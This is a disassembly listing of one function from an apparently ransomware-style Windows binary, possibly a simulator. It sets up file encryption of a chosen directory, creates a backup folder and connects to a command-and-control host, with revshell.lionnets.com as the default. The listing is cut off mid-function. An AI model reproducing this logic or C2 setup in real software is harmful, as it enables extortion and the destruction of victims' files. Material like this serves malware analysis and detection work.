Function at 0x14001eb30
Capabilities:
Create directory

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x210]
sub rsp, 0x310
mov rax, qword [0x140061038]
xor rax, rsp
mov qword [rbp + 0x208], rax
xor r12d, r12d
xorps xmm0, xmm0
movups xmmword [rbp + 0xc0], xmm0
mov qword [rbp + 0xd0], r12
mov qword [rbp + 0xd8], 0xf
mov byte [rbp + 0xc0], r12b
movups xmmword [rbp + 0xa0], xmm0
mov qword [rbp + 0xb0], r12
mov qword [rbp + 0xb8], 0xf
mov byte [rbp + 0xa0], r12b
movups xmmword [rbp + 0x1c8], xmm0
movdqa xmm1, xmmword [0x140057600]
movdqu xmmword [rbp + 0x1d8], xmm1
mov byte [rbp + 0x1c8], r12b
movups xmmword [rbp + 0x1e8], xmm0
movdqu xmmword [rbp + 0x1f8], xmm1
mov byte [rbp + 0x1e8], r12b
movups xmmword [rbp + 0x118], xmm0
mov qword [rbp + 0x128], r12
mov qword [rbp + 0x130], 0xf
mov byte [rbp + 0x118], r12b
movups xmmword [rbp + 0xf8], xmm0
mov qword [rbp + 0x108], r12
mov qword [rbp + 0x110], 0xf
mov byte [rbp + 0xf8], r12b
movups xmmword [rbp + 0x180], xmm0
movdqu xmmword [rbp + 0x190], xmm1
mov byte [rbp + 0x180], r12b
movups xmmword [rbp + 0x138], xmm0
mov qword [rbp + 0x148], r12
mov qword [rbp + 0x150], 0xf
mov byte [rbp + 0x138], r12b
movups xmmword [rbp + 0x1a0], xmm0
mov eax, r12d
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x1b0], rax
mov edi, 0xf
mov qword [rbp - 0x60], rdi
mov qword [rbp + 0x1b8], rdi
mov byte [rbp + 0x1a0], al
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xe0], xmm1
mov qword [rbp + 0xf0], r12
mov ecx, 0xd0
call fcn.140021e28
mov rbx, rax
mov qword [rbp - 0x58], rax
test rax, rax
je 0x14001ecd2
xor edx, edx
mov r8d, 0xd0
mov rcx, rax
call fcn.1400243b0
mov byte [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rbx
call fcn.140017250
jmp 0x14001ecd5
mov rax, r12
mov qword [0x140062930], rax
mov rcx, rax
call fcn.140017af0
mov rcx, qword [0x140062930]
mov rax, qword [rcx]
mov r8d, 2
lea rdx, str.Starting
call qword [rax + 0x10]
lea r9, [rbp + 0x88]
lea r8, [rbp + 0x158]
lea rdx, str.encryption_path
mov rcx, qword [0x140062930]
call fcn.140017f90
test al, al
jne 0x14001ed79
mov rcx, qword [0x140062930]
mov rax, qword [rcx]
mov r8d, 4
lea rdx, str.Missing_encryption_path_argument
call qword [rax + 0x10]
mov rcx, qword [0x140062930]
mov rax, qword [rcx]
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
xor r9d, r9d
xor r8d, r8d
lea rdx, str.Start
call qword [rax + 0x28]
mov r15, qword [rbp + 0xe8]
mov rsi, qword [rbp + 0xe0]
jmp 0x14002035c
mov r9, qword [rbp + 0x88]
mov r15, 0xffffffffffffffff
mov rdi, r15
nop word [rax + rax]
inc rdi
cmp byte [r9 + rdi], 0
jne 0x14001ed90
mov rax, qword [rbp + 0xd8]
cmp rdi, rax
ja 0x14001edd4
lea rbx, [rbp + 0xc0]
cmp rax, 0x10
cmovae rbx, qword [rbp + 0xc0]
mov qword [rbp + 0xd0], rdi
mov r8, rdi
mov rdx, r9
mov rcx, rbx
call fcn.140023d10
mov byte [rbx + rdi], 0
jmp 0x14001ede6
xor r8d, r8d
mov rdx, rdi
lea rcx, [rbp + 0xc0]
call fcn.14000f820
lea rcx, [rbp + 0xc0]
cmp qword [rbp + 0xd8], 0x10
cmovae rcx, qword [rbp + 0xc0]
call fcn.140003da0
lea r9, [rbp + 0xc0]
mov rcx, qword [0x140062930]
test al, al
mov rax, qword [rcx]
jne 0x14001ee77
cmp qword [rbp + 0xd8], 0x10
cmovae r9, qword [rbp + 0xc0]
lea rdx, str.Could_not_find_directory_to_encrypt__s
mov r8d, 4
call qword [rax + 0x10]
mov qword [rsp + 0x30], r12
mov rcx, qword [0x140062930]
lea rdx, str.Start
mov qword [rsp + 0x28], r12
mov rax, qword [rcx]
xor r9d, r9d
mov qword [rsp + 0x20], r12
xor r8d, r8d
call qword [rax + 0x28]
mov r15, qword [rbp + 0xe8]
mov rsi, qword [rbp + 0xe0]
mov rdi, qword [rbp - 0x60]
jmp 0x14002035c
cmp qword [rbp + 0xd8], 0x10
cmovae r9, qword [rbp + 0xc0]
mov r8d, 2
lea rdx, str.Directory_to_encrypt__s
call qword [rax + 0x10]
lea rax, [rbp - 0x80]
mov qword [rbp - 0x58], rax
mov rcx, qword [0x140062930]
call fcn.140017f70
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r12
mov qword [rbp - 0x68], r12
mov r8, r15
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14001eec0
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.1400056b0
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], r12
mov qword [rbp - 8], 0xf
mov edx, 0x20
lea rcx, [rbp - 0x20]
call fcn.140005af0
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x10], 0x12
mov qword [rbp - 8], 0x1f
movups xmm0, xmmword [str.Encryption_backup]
movups xmmword [rax], xmm0
movzx ecx, word [0x14004ac48]
mov word [rax + 0x10], cx
mov byte [rax + 0x12], 0
mov rcx, qword [0x140062930]
call fcn.140017f80
mov rdi, rax
mov rbx, r15
inc rbx
cmp byte [rax + rbx], 0
jne 0x14001ef37
mov r8, qword [rbp - 0x10]
mov rcx, qword [rbp - 8]
mov rax, rcx
sub rax, r8
cmp rbx, rax
ja 0x14001efc8
lea rax, [rbx + r8]
mov qword [rbp - 0x10], rax
lea rsi, [rbp - 0x20]
cmp rcx, 0x10
cmovae rsi, qword [rbp - 0x20]
lea rax, [rbx + rdi]
cmp rax, rsi
jbe 0x14001ef8c
lea rax, [rsi + r8]
cmp rdi, rax
ja 0x14001ef8c
cmp rsi, rdi
ja 0x14001ef84
mov r14, r12
jmp 0x14001ef8f
mov r14, rsi
sub r14, rdi
jmp 0x14001ef8f
mov r14, rbx
lea rcx, [rsi + rbx]
inc r8
mov rdx, rsi
call fcn.140023d10
mov r8, r14
mov rdx, rdi
mov rcx, rsi
call fcn.140023d10
lea rcx, [rsi + r14]
mov r8, rbx
sub r8, r14
lea rdx, [r14 + rbx]
add rdx, rdi
call fcn.140023d10
lea rax, [rbp - 0x20]
jmp 0x14001efe4
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
lea rcx, [rbp - 0x20]
call fcn.140006350
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x58], r12
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x50], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea r8, [rbp - 0x80]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x60]
call fcn.140003e10
mov rbx, rax
lea rax, [rbp + 0xa0]
cmp rax, rbx
je 0x14001f0b6
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0x10
jb 0x14001f079
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001f074
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140020640
call fcn.140021e64
mov qword [rbp + 0xb0], r12
mov qword [rbp + 0xb8], 0xf
mov byte [rbp + 0xa0], 0
movups xmm0, xmmword [rbx]
movups xmmword [rbp + 0xa0], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp + 0xb0], xmm1
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x14001f0f3
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001f0ee
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140020640
call fcn.140021e64
movdqa xmm0, xmmword [0x140057600]
movdqu xmmword [rsp + 0x70], xmm0
mov byte [rsp + 0x60], 0
mov rdx, qword [rbp - 8]
cmp rdx, 0x10
jb 0x14001f141
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001f13c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140020646
call fcn.140021e64
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
mov qword [rbp + 0x10], r12
mov qword [rbp + 0x18], 0xf
mov edx, 0x20
lea rcx, [rbp]
call fcn.140005af0
mov qword [rbp], rax
mov qword [rbp + 0x10], 0x12
mov qword [rbp + 0x18], 0x1f
movups xmm0, xmmword [str.Encryption_backup]
movups xmmword [rax], xmm0
movzx ecx, word [0x14004ac48]
mov word [rax + 0x10], cx
mov byte [rax + 0x12], 0
mov rcx, qword [0x140062930]
call fcn.140017f80
mov rdi, rax
mov rbx, r15
inc rbx
cmp byte [rax + rbx], 0
jne 0x14001f1a1
mov r8, qword [rbp + 0x10]
mov rcx, qword [rbp + 0x18]
mov rax, rcx
sub rax, r8
cmp rbx, rax
ja 0x14001f232
lea rax, [r8 + rbx]
mov qword [rbp + 0x10], rax
lea rsi, [rbp]
cmp rcx, 0x10
cmovae rsi, qword [rbp]
lea rax, [rbx + rdi]
cmp rax, rsi
jbe 0x14001f1f6
lea rax, [rsi + r8]
cmp rdi, rax
ja 0x14001f1f6
cmp rsi, rdi
ja 0x14001f1ee
mov r14, r12
jmp 0x14001f1f9
mov r14, rsi
sub r14, rdi
jmp 0x14001f1f9
mov r14, rbx
lea rcx, [rsi + rbx]
inc r8
mov rdx, rsi
call fcn.140023d10
mov r8, r14
mov rdx, rdi
mov rcx, rsi
call fcn.140023d10
lea rcx, [rsi + r14]
mov r8, rbx
sub r8, r14
lea rdx, [r14 + rbx]
add rdx, rdi
call fcn.140023d10
lea rax, [rbp]
jmp 0x14001f24e
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
lea rcx, [rbp]
call fcn.140006350
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x50], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae rcx, qword [rsp + 0x40]
call fcn.140003da0
movzx ebx, al
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x14001f2d5
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001f2d0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002064c
call fcn.140021e64
movdqa xmm0, xmmword [0x140057600]
movdqu xmmword [rsp + 0x50], xmm0
mov byte [rsp + 0x40], 0
mov rdx, qword [rbp + 0x18]
cmp rdx, 0x10
jb 0x14001f323
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001f31e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140020652
call fcn.140021e64
test bl, bl
jne 0x14001f533
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x30], xmm1
mov r8d, 0x12
lea rdx, str.Encryption_backup
lea rcx, [rbp + 0x20]
call fcn.1400056b0
nop
mov rcx, qword [0x140062930]
call fcn.140017f80
mov rdi, rax
mov rbx, r15
inc rbx
cmp byte [rax + rbx], 0
jne 0x14001f363
mov r8, qword [rbp + 0x30]
mov rcx, qword [rbp + 0x38]
mov rax, rcx
sub rax, r8
cmp rbx, rax
ja 0x14001f3f4
lea rax, [r8 + rbx]
mov qword [rbp + 0x30], rax
lea rsi, [rbp + 0x20]
cmp rcx, 0x10
cmovae rsi, qword [rbp + 0x20]
lea rax, [rbx + rdi]
cmp rax, rsi
jbe 0x14001f3b8
lea rax, [rsi + r8]
cmp rdi, rax
ja 0x14001f3b8
cmp rsi, rdi
ja 0x14001f3b0
mov r14, r12
jmp 0x14001f3bb
mov r14, rsi
sub r14, rdi
jmp 0x14001f3bb
mov r14, rbx
lea rcx, [rsi + rbx]
inc r8
mov rdx, rsi
call fcn.140023d10
mov r8, r14
mov rdx, rdi
mov rcx, rsi
call fcn.140023d10
lea rcx, [rsi + r14]
mov r8, rbx
sub r8, r14
lea rdx, [r14 + rbx]
add rdx, rdi
call fcn.140023d10
lea rax, [rbp + 0x20]
jmp 0x14001f410
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
lea rcx, [rbp + 0x20]
call fcn.140006350
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x50], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae rcx, qword [rsp + 0x40]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov ebx, eax
mov r8, qword [rsp + 0x58]
cmp r8, 0x10
jb 0x14001f479
inc r8
mov rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x40]
call fcn.140003c90
movdqa xmm0, xmmword [0x140057600]
movdqu xmmword [rsp + 0x50], xmm0
mov byte [rsp + 0x40], 0
mov r8, qword [rbp + 0x38]
cmp r8, 0x10
jb 0x14001f4a6
inc r8
mov rdx, qword [rbp + 0x20]
lea rcx, [rbp + 0x20]
call fcn.140003c90
test ebx, ebx
jne 0x14001f533
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
lea r8d, [rbx + 0x12]
lea rdx, str.Encryption_backup
lea rcx, [rsp + 0x40]
call fcn.1400056b0
nop
mov rcx, qword [0x140062930]
call fcn.140017f80
mov rdx, rax
lea r8, [rsp + 0x40]
lea rcx, [rbp - 0x80]
call fcn.140016420
mov r9, rax
cmp qword [rax + 0x18], 0x10
jb 0x14001f4ff
mov r9, qword [rax]
mov rcx, qword [0x140062930]
mov rax, qword [rcx]
mov r8d, 4
lea rdx, str.Could_not_create_backup_directory__s
call qword [rax + 0x10]
nop
lea rcx, [rbp - 0x80]
call fcn.140003be0
nop
lea rcx, [rsp + 0x40]
call fcn.140003be0
jmp 0x14001ee37
lea rcx, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 0x10
cmovae rcx, qword [rbp + 0xa0]
call fcn.140003da0
test al, al
jne 0x14001f5a3
lea rcx, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 0x10
cmovae rcx, qword [rbp + 0xa0]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x14001f5a3
lea r9, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 0x10
cmovae r9, qword [rbp + 0xa0]
mov rcx, qword [0x140062930]
mov rax, qword [rcx]
lea rdx, str.Could_not_create_backup_directory__s_for_this_scenario
jmp 0x14001ee2e
lea r9, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 0x10
cmovae r9, qword [rbp + 0xa0]
mov rcx, qword [0x140062930]
mov rax, qword [rcx]
mov r8d, 2
lea rdx, str.Backup_directory__s
call qword [rax + 0x10]
lea r9, [rbp + 0x90]
lea r8, [rbp + 0x1c0]
lea rdx, str.cnc_url
mov rcx, qword [0x140062930]
call fcn.140017f90
test al, al
je 0x14001f60e
mov rdx, qword [rbp + 0x90]
lea rcx, [rbp + 0x118]
call fcn.14001b270
jmp 0x14001f688
mov rax, qword [rbp + 0x130]
cmp rax, 0x15
jb 0x14001f654
lea rbx, [rbp + 0x118]
cmp rax, 0x10
cmovae rbx, qword [rbp + 0x118]
mov qword [rbp + 0x128], 0x15
mov r8d, 0x15
lea rdx, str.revshell.lionnets.com
mov rcx, rbx
call fcn.140023d10
mov byte [rbx + 0x15], 0
jmp 0x14001f66e
lea r9, str.revshell.lionnets.com
xor r8d, r8d
lea edx, [r8 + 0x15]
lea rcx, [rbp + 0x118]
call fcn.14000f820
mov rcx, qword [0x140062930]
mov rax, qword [rcx]
mov r8d, 2
lea rdx, str.Using_default_cnc_url
call qword [rax + 0x10]
lea r9, [rbp + 0x118]
cmp qword [rbp + 0x130], 0x10
cmovae r9, qword [rbp + 0x118]
mov rcx, qword [0x140062930]
mov rax, qword [rcx]
mov r8d, 2
lea rdx, str.Cnc_url:__s
call qword [rax + 0x10]
lea r9, [rbp + 0x98]
lea r8, [rbp + 0x1c4]
lea rdx, str.cnc_connection_token
mov rcx, qword [0x140062930]
call fcn.140017f90
test al, al
je 0x14001f6f3
mov rdx, qword [rbp + 0x98]
lea rcx, [rbp + 0xf8]
call fcn.14001b270
jmp 0x14001f76d
mov rax, qword [rbp + 0x110]
cmp rax, 0x24
jb 0x14001f739
lea rbx, [rbp + 0xf8]
cmp rax, 0x10
cmovae rbx, qword [rbp + 0xf8]
mov qword [rbp + 0x108], 0x24
mov r8d, 0x24
lea rdx, str.00000000_0000_0000_0000_000000000000
mov rcx, rbx
call fcn.140023d10
mov byte [rbx + 0x24], 0
jmp 0x14001f753
lea r9, str.00000000_0000_0000_0000_000000000000
xor r8d, r8d
lea edx, [r8 + 0x24]
lea rcx, [rbp + 0xf8]
call fcn.14000f820
mov rcx, qword [0x140062930]
mov rax, qword [rcx]
mov r8d, 2
lea rdx, str.Using_default_cnc_token
call qword [rax + 0x10]
lea r9, [rbp + 0xf8]
cmp qword [rbp + 0x110], 0x10
cmovae r9, qword [rbp + 0xf8]
mov rcx, qword [0x140062930]
mov rax, qword [rcx]
mov r8d, 2
lea rdx, str.Cnc_token:__s
call qword [rax + 0x10]
mov rcx, qword [0x140062930]
mov rax, qword [rcx]
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
xor r9d, r9d
mov r8b, 1
lea rdx, str.start
call qword [rax + 0x28]
lea rdx, [rbp + 0xc0]
cmp qword [rbp + 0xd8], 0x10
cmovae rdx, qword [rbp + 0xc0]
mov rcx, qword [0x140062930]
mov rax, qword [rcx]
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], rdx
xor r9d, r9d
mov r8b, 1
lea rdx, str.folder
call qword [rax + 0x28]
lea rax, [rsp + 0x60]
mov qword [rbp - 0x30], rax
lea rbx, [rbp + 0xf8]
cmp qword [rbp + 0x110], 0x10
cmovae rbx, qword [rbp + 0xf8]
lea rcx, [rbp + 0xf8]
cmovae rcx, qword [rbp + 0xf8]
mov rsi, qword [rbp + 0x108]
add rsi, rcx
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
movabs r14, 0x7ffffffffffffffe
mov r8d, 0xa
mov qword [rsp + 0x70], r12
cmp rbx, rsi
jne 0x14001f877
mov edi, 7
mov qword [rsp + 0x78], rdi
mov word [rsp + 0x60], r12w
jmp 0x14001f918
mov rdi, rsi
sub rdi, rbx
mov eax, 7
mov qword [rsp + 0x78], rax
cmp rdi, r14
ja 0x140020658
cmp rdi, 8
jb 0x14001f8d0
or rdi, rax
cmp rdi, r14
jbe 0x14001f8a3
mov rdi, r14
jmp 0x14001f8aa
cmp rdi, r8
cmovb rdi, r8
mov rdx, rdi
add rdx, 1
cmovb rdx, r15
lea rcx, [rsp + 0x60]
call fcn.140003cd0
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x78], rdi
mov rdi, qword [rsp + 0x70]
jmp 0x14001f8d3
mov rdi, r12
lea rcx, [rsp + 0x60]
call fcn.140003c40
movsx ecx, byte [rbx]
mov word [rax + rdi*2], cx
mov rdi, qword [rsp + 0x70]
inc rdi
mov qword [rsp + 0x70], rdi
inc rbx
cmp rbx, rsi
jne 0x14001f8d3
lea rax, [rsp + 0x60]
cmp qword [rsp + 0x78], 8
cmovae rax, qword [rsp + 0x60]
mov word [rax + rdi*2], r12w
mov edi, 7
lea r8d, [rdi + 3]
lea rbx, [rbp + 0x118]
cmp qword [rbp + 0x130], 0x10
cmovae rbx, qword [rbp + 0x118]
lea rcx, [rbp + 0x118]
cmovae rcx, qword [rbp + 0x118]
mov rsi, qword [rbp + 0x128]
add rsi, rcx
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
mov qword [rbp - 0x40], r12
cmp rbx, rsi
jne 0x14001f966
mov qword [rbp - 0x38], rdi
mov word [rbp - 0x50], r12w
jmp 0x14001f9fb
mov rdi, rsi
sub rdi, rbx
mov eax, 7
mov qword [rbp - 0x38], rax
cmp rdi, r14
ja 0x14002065e
cmp rdi, 8
jb 0x14001f9bb
or rdi, rax
cmp rdi, r14
jbe 0x14001f991
mov rdi, r14
jmp 0x14001f999
cmp rdi, 0xa
cmovb rdi, r8
mov rdx, rdi
add rdx, 1
cmovb rdx, r15
lea rcx, [rbp - 0x50]
call fcn.140003cd0
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x38], rdi
mov rdi, qword [rbp - 0x40]
jmp 0x14001f9c0
mov rdi, r12
nop
lea rcx, [rbp - 0x50]
call fcn.140003c40
movsx ecx, byte [rbx]
mov word [rax + rdi*2], cx
mov rdi, qword [rbp - 0x40]
inc rdi
mov qword [rbp - 0x40], rdi
inc rbx
cmp rbx, rsi
jne 0x14001f9c0
lea rax, [rbp - 0x50]
cmp qword [rbp - 0x38], 8
cmovae rax, qword [rbp - 0x50]
mov word [rax + rdi*2], r12w
mov edi, 7
lea r8, [rsp + 0x60]
lea rdx, [rbp - 0x50]
lea rcx, [rsp + 0x40]
call fcn.14001d3a0
mov rbx, rax
lea rax, [rbp + 0x138]
cmp rax, rbx
je 0x14001fa4d
lea rcx, [rbp + 0x138]
call fcn.140003be0
movups xmm0, xmmword [rbx]
movups xmmword [rbp + 0x138], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp + 0x148], xmm1
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov r8, qword [rsp + 0x58]
cmp r8, 0x10
jb 0x14001fa6a
inc r8
mov rdx, qword [rsp + 0x40]
lea rcx, [rsp + 0x40]
call fcn.140003c90
mov rcx, qword [0x140062930]
mov qword [rsp + 0x30], r12
mov rax, qword [rcx]
mov qword [rsp + 0x28], r12
cmp qword [rbp + 0x148], 0
jne 0x14001fa94
lea rdx, [0x14004ad88]
jmp 0x14001ee52
lea rdx, [rbp + 0x138]
cmp qword [rbp + 0x150], 0x10
cmovae rdx, qword [rbp + 0x138]
mov qword [rsp + 0x20], rdx
xor r9d, r9d
mov r8b, 1
lea rdx, [0x14004ad88]
call qword [rax + 0x28]
lea rdx, [rbp + 0x138]
lea rcx, [rsp + 0x40]
call fcn.1400162b0
mov r9b, 0x3d
lea r8, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
mov rdx, rax
lea rcx, [rbp - 0x80]
call fcn.140006fe0
mov rdx, rax
lea rcx, [rbp + 0x180]
call fcn.140006bd0
lea rcx, [rbp - 0x80]
call fcn.140003be0
lea rax, [rsp + 0x40]
mov qword [rbp - 0x30], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x58], r12
xor r8d, r8d
lea rdx, [0x140055ed8]
lea rcx, [rsp + 0x40]
call fcn.1400055e0
nop
lea rdx, [rbp + 0xc0]
lea rcx, [rbp - 0x80]
call fcn.1400162b0
mov rdx, rax
lea rcx, [rbp - 0x50]
call fcn.140003a10
nop
lea r8, [rsp + 0x40]
mov rdx, rax
lea rcx, [rsp + 0x60]
call fcn.14001c860
mov rdx, rax
lea rcx, [rbp + 0xe0]
call fcn.14001b2f0
lea rcx, [rsp + 0x60]
call fcn.140005300
mov r15, qword [rbp + 0xe8]
mov r13, r15
mov rsi, qword [rbp + 0xe0]
sub r13, rsi
sar r13, 5
mov qword [rbp - 0x58], r13
mov rcx, qword [0x140062930]
mov rax, qword [rcx]
mov r9, r13
mov r8d, 2
lea rdx, str.Overall_files_to_encrypt__d
call qword [rax + 0x10]
xorps xmm0, xmm0
movups xmmword [rbp + 0x160], xmm0
mov qword [rbp + 0x170], r12
mov qword [rbp + 0x178], rdi
mov word [rbp + 0x160], r12w
cmp rsi, r15
je 0x14001fd88
mov rbx, rsi
lea rax, [r15 - 0x20]
cmp rbx, rax
jne 0x14001fc0a
mov rdx, rbx
cmp qword [rbx + 0x18], 8
jb 0x14001fbf2
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
lea rcx, [rbp + 0x160]
call fcn.140005d20
xor r12d, r12d
jmp 0x14001fd65
mov r12, qword [rbx + 0x10]
mov rax, r14
sub rax, r12
cmp rax, 1
jb 0x14002066a
mov r13, rbx
cmp qword [rbx + 0x18], 8
jb 0x14001fc2b
mov r13, qword [rbx]
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
lea r14, [r12 + 1]
lea rsi, [rsp + 0x60]
cmp r14, 7
jbe 0x14001fc81
mov rdi, r14
or rdi, 7
movabs rax, 0x7ffffffffffffffe
cmp rdi, rax
jbe 0x14001fc5e
mov rdi, rax
jmp 0x14001fc6b
cmp rdi, 0xa
mov eax, 0xa
cmovb rdi, rax
lea rdx, [rdi + 1]
lea rcx, [rsp + 0x60]
call fcn.140003cd0
mov rsi, rax
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x70], r14
mov qword [rsp + 0x78], rdi
lea rdi, [r12 + r12]
mov r8, rdi
mov rdx, r13
mov rcx, rsi
call fcn.140023d10
mov word [rdi + rsi], 0x2c
xor eax, eax
mov word [rsi + r14*2], ax
lea r9, [rsp + 0x60]
mov r13, qword [rsp + 0x60]
mov r14, qword [rsp + 0x78]
cmp r14, 8
cmovae r9, r13
mov r12, qword [rbp + 0x170]
mov rcx, qword [rbp + 0x178]
mov rax, rcx
sub rax, r12
mov rsi, qword [rsp + 0x70]
cmp rsi, rax
ja 0x14001fd1b
lea rax, [r12 + rsi]
mov qword [rbp + 0x170], rax
lea rdi, [rbp + 0x160]
cmp rcx, 8
cmovae rdi, qword [rbp + 0x160]
lea rcx, [rdi + r12*2]
lea r8, [rsi + rsi]
mov rdx, r9
call fcn.140023d10
lea rax, [r12 + rsi]
xor r12d, r12d
mov word [rdi + rax*2], r12w
jmp 0x14001fd3f
mov qword [rsp + 0x20], rsi
xor r8d, r8d
mov rdx, rsi
lea rcx, [rbp + 0x160]
call fcn.140006200
mov r14, qword [rsp + 0x78]
mov r13, qword [rsp + 0x60]
xor r12d, r12d
cmp r14, 8
jb 0x14001fd56
lea r8, [r14 + 1]
mov rdx, r13
lea rcx, [rsp + 0x60]
call fcn.140003c50
movabs r14, 0x7ffffffffffffffe
mov edi, 7
add rbx, 0x20
cmp rbx, r15
lea rax, [r15 - 0x20]
jne 0x14001fbe0
mov rdi, qword [rbp + 0x178]
mov rsi, qword [rbp + 0xe0]
mov r13, qword [rbp - 0x58]
lea rdx, [rbp + 0x160]
cmp rdi, 8
cmovae rdx, qword [rbp + 0x160]
mov rcx, qword [0x140062930]
mov rax, qword [rcx]
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], rdx
mov r9b, 1
movzx r8d, r9b
lea rdx, str.filescount
call qword [rax + 0x20]
lea rax, [rbp + 0x68]
mov qword [rbp - 0x30], rax
lea rax, [rbp + 0x48]
mov qword [rbp - 0x58], rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r12
mov qword [rbp - 0x68], r12
lea r12, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 0x10
cmovae r12, qword [rbp + 0xa0]
mov r14, qword [rbp + 0xb0]
movabs rbx, 0x7fffffffffffffff
cmp r14, rbx
ja 0x140020664
mov eax, 0x16
mov qword [rbp - 0x68], 0xf
cmp r14, 0x10
jae 0x14001fe37
mov qword [rbp - 0x70], r14
movups xmm0, xmmword [r12]
movups xmmword [rbp - 0x80], xmm0
jmp 0x14001fe77
mov rdi, r14
or rdi, 0xf
cmp rdi, rbx
jbe 0x14001fe48
mov rdi, rbx
jmp 0x14001fe4f
cmp rdi, rax
cmovb rdi, rax
lea rdx, [rdi + 1]
lea rcx, [rbp - 0x80]
